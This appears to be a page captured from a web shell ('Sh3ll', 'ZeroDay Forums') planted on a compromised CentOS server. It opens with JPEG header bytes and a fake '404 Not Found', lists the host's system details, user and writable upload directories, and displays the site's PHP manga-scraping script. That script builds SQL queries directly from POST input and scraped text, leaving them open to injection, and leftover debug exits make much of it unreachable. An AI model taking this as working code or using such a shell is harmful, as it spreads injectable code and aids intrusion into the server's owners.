ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/lnovel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/lnovel/url_upload3.php
<?php
ini_set("display_errors", true);
define('ROOT_PATH', dirname(__FILE__) . '/');
require ROOT_PATH."include/configs.php";
require ROOT_PATH."include/const.php";
require ROOT_PATH."lib/class_info.php";
global $INFO;
$CORE		=	new info();
include ROOT_PATH.'lib/class_jsonwebtoken.php';
require ROOT_PATH."lib/class_functions.php";
$func   = new FUNC;
$CORE->input = $func->get_input();
require ROOT_PATH."lib/class_display.php";
$print = new display();
require ROOT_PATH."lib/class_db.php";
$DB = new db_driver;
$DB->connect($INFO);
require ROOT_PATH."include/functions/index.php";
//check option
$q_option = $DB->query("SELECT * FROM tb_options");
while ($r_option = $DB->fetch_row($q_option)){
    $arr_option[$r_option['option_name']] = $r_option['option_value'];
}
$ob_user =  new stdClass();
$ob_user->user_id=0;
$ob_user->fullname = $ob_user->user_name = $ob_user->guest_avatar = $ob_user->guest_level_name='';
$truyen_id = $_POST['id'] ?? 0;

include 'lib/watermark.class.php';
$url_get = $_POST['url_get'] ?? '';
if($url_get!='') {
    include 'lib/simple_html_dom.php';
    $referer = 'https://www.mangago.me';
    $content = get_content_page_chap_mangago($url_get,$referer);

    $html = str_get_html($content);
    $i = 1;
    $tmp_folder_name = uniqid();
    $targetdir = 'upload/tmp/'.$tmp_folder_name;
    if (!is_dir($targetdir)) {
        mkdir($targetdir, 0755, true);
    }
    $total_chuong_page = count($html->find('table#chapter_table tr > *'));

    foreach($html->find('table#chapter_table tr') as $val){
        $chap_name = trim($val->find('a',0)->plaintext);
        $fchap_name = $func->format_string($chap_name);
        $url_chap = trim($val->find('a',0)->href);

        //insert/update chap
        $row_chuong = $DB->fetch_row($DB->query("SELECT * FROM tb_chuong WHERE chuong_name='$chap_name' AND truyen_id='$truyen_id' LIMIT 1 "));
        $chuong_id = 0;
        if($row_chuong){
            $chuong_id = $row_chuong['chuong_id'];
        }
        $get_img = 'no';
        if($chuong_id==0){
            $chuong_pos = ($total_chuong_page - $i)+1;
            $arr_name_folder = explode(' ',$chap_name);
            if(isset($arr_name_folder[1]) and !empty($arr_name_folder[1])) {
                $chuong_pos = floatval($arr_name_folder[1]);
            }

            $arr_insert = array('truyen_id'=>$truyen_id,'chuong_server'=>'','chuong_name'=>$chap_name,'chuong_fname'=>$fchap_name,'chuong_pos'=>$chuong_pos,'chuong_number_img'=>0,'chuong_new'=>'','chuong_hit'=>0,'chuong_point'=>1,'time_post'=>date('Y-m-d H:i:s'),'user_post'=>$ob_user->user_id);
            $chuong_id = $DB->do_insert('tb_chuong',$arr_insert);
            $get_img = 'yes';
        }else{//update
            if($row_chuong['chuong_number_img']==0){
                $get_img = 'yes';
                delete_img_chapter($chuong_id);
            }
        }
        if($get_img=='yes') {
            $content_chap = get_content_page_chap_mangago($url_chap, $referer);
            echo $content_chap;
            exit();
            $html = str_get_html($content_chap);
            $j = 1;
            foreach ($html->find('p#pagenavigation') as $val) {
                $page_chap = trim($val->find('a', 0)->href);
                echo $page_chap;
                exit();
                $url_img = trim($val->find('img', 0)->src);
                $content_img = get_content_page_chap_mangago($url_img, $referer);
                $img_local = $targetdir.'/' . $j . '.jpg';
                file_put_contents($img_local, $content_img);
                $arr_img[] = $img_local;
                $j++;
            }
            $arr_img_return = post_ftp($arr_img, $truyen_id, $chuong_id);
            if (!empty($arr_img_return)) {
                foreach ($arr_img_return as $key => $val) {
                    $arr_insert_img = array('truyen_id' => $truyen_id, 'chuong_id' => $chuong_id, 'domain' => $val['domain'], 'url_dir' => $val['url_dir'], 'file_name' => $val['file_name'], 'path_of_storage' => $val['path_of_storage'], 'chuong_img_pos' => $key, 'time_post' => date('Y-m-d H:i:s'), 'user_post' => $ob_user->user_id);
                    $DB->do_insert('tb_chuong_img', $arr_insert_img);
                }
            }
            //update chuong
            $row_count_img = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_chuong_img WHERE chuong_id='$chuong_id'"));
            $DB->query("UPDATE tb_chuong SET chuong_number_img='" . $row_count_img['total'] . "' WHERE chuong_id='$chuong_id' ");
            $i++;
            //show chap get
            ob_start();
            usleep(500000);
            $text_show = $chap_name . " with " . $row_count_img['total'] . " images updated from url chap: $url_chap !<br/>";
            echo $text_show;
            doFlush();
        }else{

            $i++;
            //show chap already
            ob_start();
            usleep(500000);
            $text_show = $chap_name . " with " . $row_chuong['chuong_number_img'] . " images already update !<br/>";
            echo $text_show;
            doFlush();
        }

    }
}
rrmdir($targetdir);
//update follow
$DB->query("UPDATE tb_follow SET already_read='' WHERE truyen_id='$truyen_id'");
//update truyen
$row_chuong = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_chuong WHERE truyen_id='".$truyen_id."' "));
$DB->query("UPDATE tb_truyen SET truyen_sochuong='".$row_chuong['total']."',time_update='".date('Y-m-d H:i:s')."',user_update='".$ob_user->user_id."' WHERE truyen_id='$truyen_id'");
$q_chuong = $DB->query("SELECT * FROM tb_chuong WHERE truyen_id='".$truyen_id."' ORDER BY chuong_pos DESC LIMIT 2");
$i=1;
while($r_chuong = $DB->fetch_row($q_chuong)){
    if($i==1){
        $DB->query("UPDATE tb_truyen SET truyen_chuong_moinhat_id='".$r_chuong['chuong_id']."',truyen_chuong_moinhat_name='".$r_chuong['chuong_name']."',truyen_chuong_moinhat_fname='".$r_chuong['chuong_fname']."',truyen_chuong_moinhat_isnew='".$r_chuong['chuong_new']."' ,truyen_chuong_moinhat_time='".$r_chuong['time_post']."' WHERE truyen_id='".$truyen_id."' ");
    }
    if($i==2){
        if($r_chuong['chuong_id']>0){
            $DB->query("UPDATE tb_truyen SET truyen_chuong_moinhi_id='".$r_chuong['chuong_id']."',truyen_chuong_moinhi_name='".$r_chuong['chuong_name']."',truyen_chuong_moinhi_fname='".$r_chuong['chuong_fname']."',truyen_chuong_moinhi_isnew='".$r_chuong['chuong_new']."',truyen_chuong_moinhi_time='".$r_chuong['time_post']."' WHERE truyen_id='".$truyen_id."' ");
        }
    }
    $i++;
}
echo 'Finish upload!';
function get_content_page_chap_mangago($url,$referer) {
    $header[0] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8";
    $header[] = "Accept-Encoding: gzip, deflate";
    $header[] = "Host: mangago.me";
    $header[] = "Connection: keep-alive";
    $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
    $header[] = "Accept-Language: en-us,en;q=0.5";
    $header[] = "Upgrade-Insecure-Requests: 1";
    $header[] = "Sec-Fetch-Dest: document";
    $header[] = "Sec-Fetch-Mode: navigate";
    $header[] = "Sec-Fetch-Site: none";
    $header[] = "Sec-Fetch-User: ?1";
    $process = curl_init($url);
    curl_setopt($process, CURLOPT_HTTPHEADER, $header);
    curl_setopt($process, CURLOPT_HEADER, 0);
    curl_setopt($process, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0');
    curl_setopt($process, CURLOPT_COOKIEFILE, 'cookies-mangago-me.txt');
    curl_setopt($process, CURLOPT_COOKIEJAR,  'cookies-mangago-me.txt');
    curl_setopt($process, CURLOPT_REFERER, $referer);
    curl_setopt($process, CURLOPT_ENCODING, 'gzip,deflate');
    //curl_setopt($process,CURLOPT_ENCODING , compression);
    curl_setopt($process, CURLOPT_TIMEOUT, 20);
    //if (proxy) curl_setopt($cUrl, CURLOPT_PROXY, 'proxy_ip:proxy_port');
    curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
    //curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
    $return = curl_exec($process);
    //echo curl_error($process);
    curl_close($process);
    //exit();
    return $return;
}
?>

ZeroDay Forums Mini